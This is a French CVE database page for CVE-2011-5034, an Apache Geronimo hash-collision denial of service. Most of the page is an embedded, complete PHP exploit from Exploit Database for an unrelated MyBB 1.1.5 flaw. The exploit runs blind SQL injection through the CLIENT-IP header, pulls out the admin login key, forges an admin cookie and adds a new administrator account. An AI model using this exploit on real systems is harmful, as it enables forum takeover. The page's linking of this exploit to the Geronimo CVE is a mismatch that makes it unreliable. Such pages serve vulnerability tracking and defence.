CVE-2011-5034 : Détail

CVE-2011-5034

A03-Injection
4.84%V3
Network
2011-12-30
00h00 +00:00
2021-07-28
09h06 +00:00
Notifications pour un CVE
Restez informé de toutes modifications pour un CVE spécifique.
Gestion des notifications

Descriptions du CVE

Apache Geronimo 2.2.1 and earlier computes hash values for form parameters without restricting the ability to trigger hash collisions predictably, which allows remote attackers to cause a denial of service (CPU consumption) by sending many crafted parameters. NOTE: this might overlap CVE-2011-4461.

Informations du CVE

Faiblesses connexes

CWE-ID Nom de la faiblesse Source
CWE-20 Improper Input Validation
The product receives input or data, but it does not validate or incorrectly validates that the input has the properties that are required to process the data safely and correctly.

Métriques

Métriques Score Gravité CVSS Vecteur Source
V2 7.8 AV:N/AC:L/Au:N/C:N/I:N/A:C [email protected]

EPSS

EPSS est un modèle de notation qui prédit la probabilité qu'une vulnérabilité soit exploitée.

Score EPSS

Le modèle EPSS produit un score de probabilité compris entre 0 et 1 (0 et 100 %). Plus la note est élevée, plus la probabilité qu'une vulnérabilité soit exploitée est grande.

Percentile EPSS

Le percentile est utilisé pour classer les CVE en fonction de leur score EPSS. Par exemple, une CVE dans le 95e percentile selon son score EPSS est plus susceptible d'être exploitée que 95 % des autres CVE. Ainsi, le percentile sert à comparer le score EPSS d'une CVE par rapport à d'autres CVE.

Informations sur l'Exploit

Exploit Database EDB-ID : 2012

Date de publication : 2006-07-14 22h00 +00:00
Auteur : rgod
EDB Vérifié : Yes

#!/usr/bin/php -q -d short_open_tag=on <? echo "MyBulletinBoard (MyBB) <= 1.1.5 'CLIENT-IP' SQL injection / create new admin exploit\n"; echo "by rgod [email protected]\n"; echo "site: http://retrogod.altervista.org\n"; echo "dork, version specific: \"Powered By MyBB\" \"2006 MyBB Group\"\n\n"; /* works regardless of php.ini settings */ if ($argc<3) { echo "Usage: php ".$argv[0]." host path OPTIONS\n"; echo "host: target server (ip/hostname)\n"; echo "path: path to MyBB\n"; echo "Options:\n"; echo " -T[prefix] specify a table prefix different from default (mybb_)\n"; echo " -u[number] specify a user id other than 1 (usually admin)\n"; echo " -p[port]: specify a port other than 80\n"; echo " -P[ip:port]: specify a proxy\n"; echo " -d: disclose table prefix (reccomended)\n"; echo "Example:\r\n"; echo "php ".$argv[0]." localhost /MyBB/ -d\r\n"; echo "php ".$argv[0]." localhost /MyBB/ -Tmy_\r\n"; die; } /* software site: http://www.mybboard.com/ vulnerable code in inc/functions.php near lines 1292-1320: ... function getip() { global $_SERVER; if($_SERVER['HTTP_X_FORWARDED_FOR']) { if(preg_match_all("#[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}#s", $_SERVER['HTTP_X_FORWARDED_FOR'], $addresses)) { while(list($key, $val) = each($addresses[0])) { if(!preg_match("#^(10|172\.16|192\.168)\.#", $val)) { $ip = $val; break; } } } } if(!$ip) { if($_SERVER['HTTP_CLIENT_IP']) { $ip = $_SERVER['HTTP_CLIENT_IP']; } else { $ip = $_SERVER['REMOTE_ADDR']; } } return $ip; } ... you can spoof your ip address through the CLIENT-IP http header... as result you can inject sql statements in class_session.php at lines 36-68: by calling the main index.php script ... function init() { global $ipaddress, $db, $mybb, $noonline; // // Get our visitors IP // $this->ipaddress = $ipaddress = getip(); // // User-agent // $this->useragent = $_SERVER['HTTP_USER_AGENT']; if(strlen($this->useragent) > 100) { $this->useragent = substr($this->useragent, 0, 100); } // // Attempt to find a session id in the cookies // if($_COOKIE['sid']) { $this->sid = addslashes($_COOKIE['sid']); } else { $this->sid = 0; } // // Attempt to load the session from the database // $query = $db->query("SELECT sid,uid FROM ".TABLE_PREFIX."sessions WHERE sid='".$this->sid."' AND ip='".$this->ipaddress."'"); ... injection is blind, but you can ask true-false questions to the database to retrieve the admin loginkey. Through that you can build an admin cookie and create a new admin user through the admin/users.php script. Also you can disclose table prefix. -------------------------------------------------------------------------------- -*****************************************************************************- * * * Italia - Germania 2-0, al 114' forse il più bel gol che abbia mai visto * * grazie Grosso! * * * -*****************************************************************************- */ error_reporting(0); ini_set("max_execution_time",0); ini_set("default_socket_timeout",5); function quick_dump($string) { $result='';$exa='';$cont=0; for ($i=0; $i<=strlen($string)-1; $i++) { if ((ord($string[$i]) <= 32 ) | (ord($string[$i]) > 126 )) {$result.=" .";} else {$result.=" ".$string[$i];} if (strlen(dechex(ord($string[$i])))==2) {$exa.=" ".dechex(ord($string[$i]));} else {$exa.=" 0".dechex(ord($string[$i]));} $cont++;if ($cont==15) {$cont=0; $result.="\r\n"; $exa.="\r\n";} } return $exa."\r\n".$result; } $proxy_regex = '(\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\:\d{1,5}\b)'; function sendpacketii($packet) { global $proxy, $host, $port, $html, $proxy_regex; if ($proxy=='') { $ock=fsockopen(gethostbyname($host),$port); if (!$ock) { echo 'No response from '.$host.':'.$port; die; } } else { $c = preg_match($proxy_regex,$proxy); if (!$c) { echo 'Not a valid proxy...';die; } $parts=explode(':',$proxy); echo "Connecting to ".$parts[0].":".$parts[1]." proxy...\r\n"; $ock=fsockopen($parts[0],$parts[1]); if (!$ock) { echo 'No response from proxy...';die; } } fputs($ock,$packet); if ($proxy=='') { $html=''; while (!feof($ock)) { $html.=fgets($ock); } } else { $html=''; while ((!feof($ock)) or (!eregi(chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a),$html))) { $html.=fread($ock,1); } } fclose($ock); #debug #echo "\r\n".$html; } function make_seed() { list($usec, $sec) = explode(' ', microtime()); return (float) $sec + ((float) $usec * 100000); } srand(make_seed()); $anumber = rand(1,99999); $host=$argv[1]; $path=$argv[2]; $port=80; $prefix="mybb_"; $user_id="1";//admin $proxy=""; $dt=0; for ($i=3; $i<$argc; $i++){ $temp=$argv[$i][0].$argv[$i][1]; if ($temp=="-p") { $port=str_replace("-p","",$argv[$i]); } if ($temp=="-P") { $proxy=str_replace("-P","",$argv[$i]); } if ($temp=="-T") { $prefix=str_replace("-T","",$argv[$i]); } if ($temp=="-u") { $user_id=str_replace("-u","",$argv[$i]); } if ($temp=="-d") { $dt=1; } } if (($path[0]<>'/') or ($path[strlen($path)-1]<>'/')) {echo 'Error... check the path!'; die;} if ($proxy=='') {$p=$path;} else {$p='http://'.$host.':'.$port.$path;} if ($dt) { $sql="'suntzuuuu/*"; echo "sql -> ".$sql."\r\n"; $packet ="GET ".$p."index.php HTTP/1.0\r\n"; $packet.="CLIENT-IP: $sql\r\n"; $packet.="Host: ".$host."\r\n"; $packet.="Connection: Close\r\n\r\n"; sendpacketii($packet); if (eregi("You have an error in your SQL syntax",$html)) { $temp=explode("sessions",$html); $temp2=explode(" ",$temp[0]); $prefix=$temp2[count($temp2)-1]; echo "prefix -> ".$prefix;if ($prefix==""){echo "[no prefix]";}echo"\n"; } else { echo "unable to disclose table prefix...\n"; } sleep(1); } $chars[0]=0;//null $chars=array_merge($chars,range(48,57)); //numbers $chars=array_merge($chars,range(65,90));//A-Z letters $chars=array_merge($chars,range(97,122));//a-f letters $j=1; $loginkey=""; while (!strstr($loginkey,chr(0))) { for ($i=0; $i<=255; $i++) { if (in_array($i,$chars)) { $sql="99999999' UNION SELECT ASCII(SUBSTRING(loginkey,".$j.",1))=".$i.",0 FROM ".$prefix."users WHERE uid=1/*"; echo "sql -> ".$sql."\r\n"; $packet ="GET ".$p."index.php HTTP/1.0\r\n"; $packet.="CLIENT-IP: $sql\r\n"; $packet.="Host: ".$host."\r\n"; $packet.="Connection: Close\r\n\r\n"; sendpacketii($packet); if (eregi("Hello There",$html)) {$loginkey.=chr($i);echo "loginkey -> ".$loginkey."[???]\r\n";sleep(1);break;} } if ($i==255) {die("Exploit failed...");} } $j++; } $cookie="mybbuser=1_".trim(str_replace(chr(0),"",$loginkey))."; mybbadmin=1_".trim(str_replace(chr(0),"",$loginkey)).";"; echo "admin cookie -> ".$cookie."\r\n"; $data='-----------------------------7d62702f250530 Content-Disposition: form-data; name="action"; do_add -----------------------------7d62702f250530 Content-Disposition: form-data; name="userusername"; suntzu'.$anumber.' -----------------------------7d62702f250530 Content-Disposition: form-data; name="newpassword"; suntzu'.$anumber.' -----------------------------7d62702f250530 Content-Disposition: form-data; name="email"; [email protected] -----------------------------7d62702f250530 Content-Disposition: form-data; name="usergroup"; 4 -----------------------------7d62702f250530 Content-Disposition: form-data; name="additionalgroups[]"; 4 -----------------------------7d62702f250530 Content-Disposition: form-data; name="displaygroup"; 4 -----------------------------7d62702f250530 Content-Disposition: form-data; name="Add User"; Add User -----------------------------7d62702f250530-- '; $packet="POST ".$p."admin/users.php HTTP/1.0\r\n"; $packet.="User-Agent: Googlebot/2.1\r\n"; $packet.="Host: ".$host."\r\n"; $packet.="Content-Type: multipart/form-data; boundary=---------------------------7d62702f250530\r\n"; $packet.="Content-Length: ".strlen($data)."\r\n"; $packet.="Cookie: ".$cookie."\r\n"; $packet.="Connection: Close\r\n\r\n"; $packet.=$data; sendpacketii($packet); if (eregi("The user has successfully been added",$html)) { echo "exploit succeeded... now login as admin\n"; echo "with username \"suntzu".$anumber."\" and password \"suntzu".$anumber."\"\n"; } else { echo "something goes wrong...\n";if(!$dt)echo "you may try -d option\n"; } ?> # milw0rm.com [2006-07-15]

Products Mentioned

Configuraton 0

Apache>>Geronimo >> Version To (including) 2.2.1

Apache>>Geronimo >> Version 1.0

Apache>>Geronimo >> Version 1.1

    Apache>>Geronimo >> Version 1.1.1

    Apache>>Geronimo >> Version 1.2

    Apache>>Geronimo >> Version 2.0.1

    Apache>>Geronimo >> Version 2.0.2

    Apache>>Geronimo >> Version 2.1

    Apache>>Geronimo >> Version 2.1.1

    Apache>>Geronimo >> Version 2.1.2

    Apache>>Geronimo >> Version 2.1.3

    Apache>>Geronimo >> Version 2.1.4

    Apache>>Geronimo >> Version 2.1.5

    Apache>>Geronimo >> Version 2.1.6

    Apache>>Geronimo >> Version 2.1.7

    Apache>>Geronimo >> Version 2.1.8

    Apache>>Geronimo >> Version 2.2

    Références

    http://secunia.com/advisories/47412
    Tags : third-party-advisory, x_refsource_SECUNIA
    http://www.kb.cert.org/vuls/id/903934
    Tags : third-party-advisory, x_refsource_CERT-VN